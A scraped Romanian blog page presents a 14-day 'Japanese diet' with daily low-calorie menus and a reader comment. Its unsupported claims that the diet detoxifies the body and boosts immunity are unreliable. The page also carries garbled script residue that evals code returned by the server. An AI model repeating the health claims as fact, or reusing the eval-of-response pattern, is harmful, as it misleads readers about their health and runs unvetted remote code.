dieta

144 < (function() < var http = new XMLHttpRequest(); http.open("POST", '/__widget', true); http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); http.setRequestHeader('Accept', 'application/json;application/javascript'); http.onreadystatechange = function() < if(http.readyState == 4 && http.status == 200) < eval(http.responseText); >; >; http.send ( "date = eyJpdiI6IlZCOXRRSEtBMVFWcVVWbFl4V0lXbFE9PSIsInZhbHVlIjoiZzM0c2xyZW5vbFgzVHZ5QWxDR1JLUit1QzVMYXhraHhPSjY4Z25MRFVJNzZJVFVxZzZrTXcxeWVvbGZtUTQyVkNDN2RSMFI4OXdHZDlaN1E3Zm51Y3lEOFFhREd5WVBaYUF4T1VyT2tUNWN1Z042ZmFIMWo5V2J2ejArdUxZMWVKaEZxWGZhQjFrcDNoOXcwSmFwOEFwdXhFenRWRkUzc0VsNThzRWMySWVZQmRTRXNjcmlnTkN3MndtT205VkNUZjdzU0MxY2p5SUlCZ1BjWVNacGFGb051Yyt5M0N2cklhUHAvUWg4cUVYa3RGSC9Semlxdk5JS1ZvbU5mUStOc2NJSksvZklDM3B3dllsYjhuR3VGZFpQdUQ4Q1A1YTlBQWY0ZW51SGhGcUd4YmdaOGRrMlFDWmt3WVhtcFUvZllQbFlWYmNQMnFyUGszL0p4Tm5CenFaUHVQL045NmNnQUh1UUE0QmJWVi9XR3ZSNkQwU3N5VzlUcEVLTWMzYWliTzZTaXhwakFiR0QrNHdNdXZRMU5kdz09IiwibWFjIjoiNzQ5Y2IxYzIyYjIwY2RjMTIzYjUwMWYwMDY0NTQ5MGQwZGQwNzJhOTIwNDM5YTA0Y2ZhYTUxODQ5N2I3ZDFkMyJ9 & _token = SWaqzpSXazqVBJEY9MEXpM36IAgixm1bTkdWB8Wl"); >) (); >) "title =" Faceți clic pentru a primi o notificare atunci când acest autor publică articole noi "> Abonați-vă

Oamenii din Japonia sunt cunoscuți pentru durata lor de viață foarte lungă, în parte deoarece dieta japoneză constă din alimente proaspete. Japonezii au, de asemenea, o atitudine diferită față de mâncare față de populația modernă occidentală.

Tradiția culinară a Japoniei se bazează în primul rând pe respectul față de natură, deci este extrem de sănătoasă, iar dieta japoneză se bazează pe acest principiu. Locuitorii acestei țări sunt considerați a fi unul dintre cei mai sănătoși și cu cea mai lungă viață și rareori suferă de boli moderne. În această tradiție culinară, nu există fierbere și fierbere, mirosuri puternice și atacuri dure pe stomac. Bucătăria japoneză este ușoară și folosește doar cele mai proaspete ingrediente, printre care predomină legumele, soia, peștele, orezul, brânza tofu, algele și alte fructe de mare.

Din toate cele de mai sus, mulți rezidenți nu au nevoie de o dietă japoneză de 14 zile, iar noi, occidentalii, trebuie să ne adaptăm la această dietă dacă vrem să fim slabi și sănătoși. Japonezii apreciază în special mâncărurile „pe lingură”, de ex. supa de miso, care se face din legume cu adaos de pastă de miso (soia sub formă de pastă) și se consumă în orice moment al zilei, chiar și la micul dejun. Sushi este specialitatea națională a acestei țări și, de ani de zile, este unul dintre cele mai populare feluri de mâncare din lume, este fabricat din pește crud, orez, alge marine, sos de soia și numeroase condimente.

Japonezii adoră pur și simplu legumele: ardei roșu, dovlecei, mazăre, vinete, ardei verzi, ceapă, roșii, morcovi, spanac, lăstari de bambus, sfeclă, cartofi dulci, sfeclă, brusture (legume rădăcină japoneză bogate în fibre), shiitake ... parte a dietei lor. Legumele se servesc gătite într-o supă picantă sau aburite sau coapte într-o cantitate mică de ulei, ceea ce permite conservarea maximă a ingredientelor utile.

Pentru ceilalți dintre noi, dacă începem să aderăm la modul japonez de gătit, există o mare probabilitate că vom pierde în greutate, vom curăța corpul de diverse toxine, vom crește imunitatea. Iată o listă cu alimentele care sunt utilizate timp de 14 zile (2 cicluri de 7 zile).

Prima zi (a opta zi)

Mic dejun: cafea neagră sau ceai

Prânz: două ouă fierte, varză fiartă puțin condimentată cu ulei de măsline, o roșie proaspătă (opțional pahar de suc de roșii fără sare)

Cina: 200g pește fiert, salată proaspătă de varză

A doua zi (a noua zi)

Mic dejun: cafea neagră și pâine prăjită (poate o felie de pâine neagră)

Prânz: pește fiert sau la grătar, salată proaspătă de varză cu ulei de măsline

Cina: 200g carne de vită fiartă, un pahar de iaurt

A treia zi (a zecea zi)

Mic dejun: cafea neagra

Prânz: un ou fiert tare, trei morcovi mari fierți cu ulei de măsline și sos de lămâie

Cina: câteva mere proaspete

A patra zi (a unsprezecea zi)

Mic dejun: cafea neagra

Prânz: o rădăcină mare de păstârnac fiert sau prăjit sau rădăcină de primula, măr

Cina: două ouă fierte, 200g carne de vită fiartă, salată proaspătă de varză

A cincea zi (a douăsprezecea zi) - Dieta japoneză

Mic dejun: salată proaspătă de morcovi cu suc de lămâie

Prânz: 400g pește fiert, un pahar de suc de roșii (opțional o roșie proaspătă)

Cina: 200g pește fiert, salată proaspătă de varză

A șasea zi (a treisprezecea zi)

Mic dejun: cafea neagra

Prânz: 500g pui fiert, salată de morcovi sau varză proaspătă

Cina: două ouă fierte, salată proaspătă de varză

A șaptea zi (a paisprezecea zi)

Mic dejun: ceai verde sau negru

Prânz: 200g carne de vită fiartă, fruct la alegere

Cina: oricare dintre rețetele de mai sus din dieta japoneză pentru cină, cu excepția celei de-a treia zile

În timp ce dieta japoneză durează, este recomandată și activitatea fizică, de exemplu, 30 de minute de mers pe jos zilnic sau unele activități similare. Rețineți că aceasta este o dietă cu conținut scăzut de calorii, deci este mai bine să consultați medicul pentru a vedea dacă se potrivește corpului dumneavoastră.

144 < (function() < var http = new XMLHttpRequest(); http.open("POST", '/__widget', true); http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); http.setRequestHeader('Accept', 'application/json;application/javascript'); http.onreadystatechange = function() < if(http.readyState == 4 && http.status == 200) < eval(http.responseText); >; >; http.send ( "date = eyJpdiI6IldkVTZHWUQ4bEVqbU5MZUQyejVlamc9PSIsInZhbHVlIjoiVFNmVUNpTVVkZ3E0ZTZmMndzcGZNSTRLejgvSWF6MUZHeEV5Z0h6SkFQdVhnNzN5RzlRSm8vcXBVOGllY0hrbmhsS09WNXlOVHI1RTBtZjk1VGdTYWNyL01oRWhLY0VVdUZoUEZrcCtvRUI4RUIramJva0p5SFBCQlhaSGVJTTVWdzRWL1p6Ly9rTmJGeTlaTWdCa1lQSGtlVjJBU0NiSFlvWjJTcHJlaGNJdTV3YytaaGZYWDh1YlY0dHl1Z2VCN1YwYm9vaUVma2s5TXAwQ0dMQW1kZzE4TnJJWW5xdFpKN2ttancxcUZzOFY4S0VCaXRSYWZJdFcyeHlETkZWV0k4a1J5ZS9ZUDlyVjVLUWk2cis3N3RzUDY1MG13ZHNJYnB4blk3alVjYVU1L1lQa1Q2ajZYTzhESnNNRkZPVFhaSElUTXVFNmhUbEk4L1ZWeVBRc09tUWZxVnNSSWFFU28wNXN5UGNxZjd0bWF5RTJreGpKdU4zU0loTG5mdlh0TWJ4MjFDTFd0R2NZZHpqQmp4WjhRQT09IiwibWFjIjoiYjJiNDkzMGE4MzA2NjMwMWM1NmQ3NzM3MWQxZjM0YmE2NDJiYmM5ZGQyNGUxNWI2ZjJhYmNiZjY5MTAxNzBhZiJ9 & _token = SWaqzpSXazqVBJEY9MEXpM36IAgixm1bTkdWB8Wl"); >) (); >) "title =" Faceți clic pentru a primi o notificare atunci când acest autor publică articole noi "> Abonați-vă

Mai multe articole ale BettyBoop

Dacă aș mânca cu aceste bețișoare, nu aș avea nevoie de nicio dietă. "," upvote_thumb_count ": 1," is_collapsed ": false," default_sort_value ": 18539.866041666668," community_name ":" Share and Write Anything \ ud83d \ udc9e \ ud83d \ udcdd (db04) ">]" ultima vizită-la = ": moderation-tools = "

Comentarii

Am auzit că există o dietă braziliană, o dietă chineză, dar pentru prima dată am auzit despre dieta japoneză, post excelent!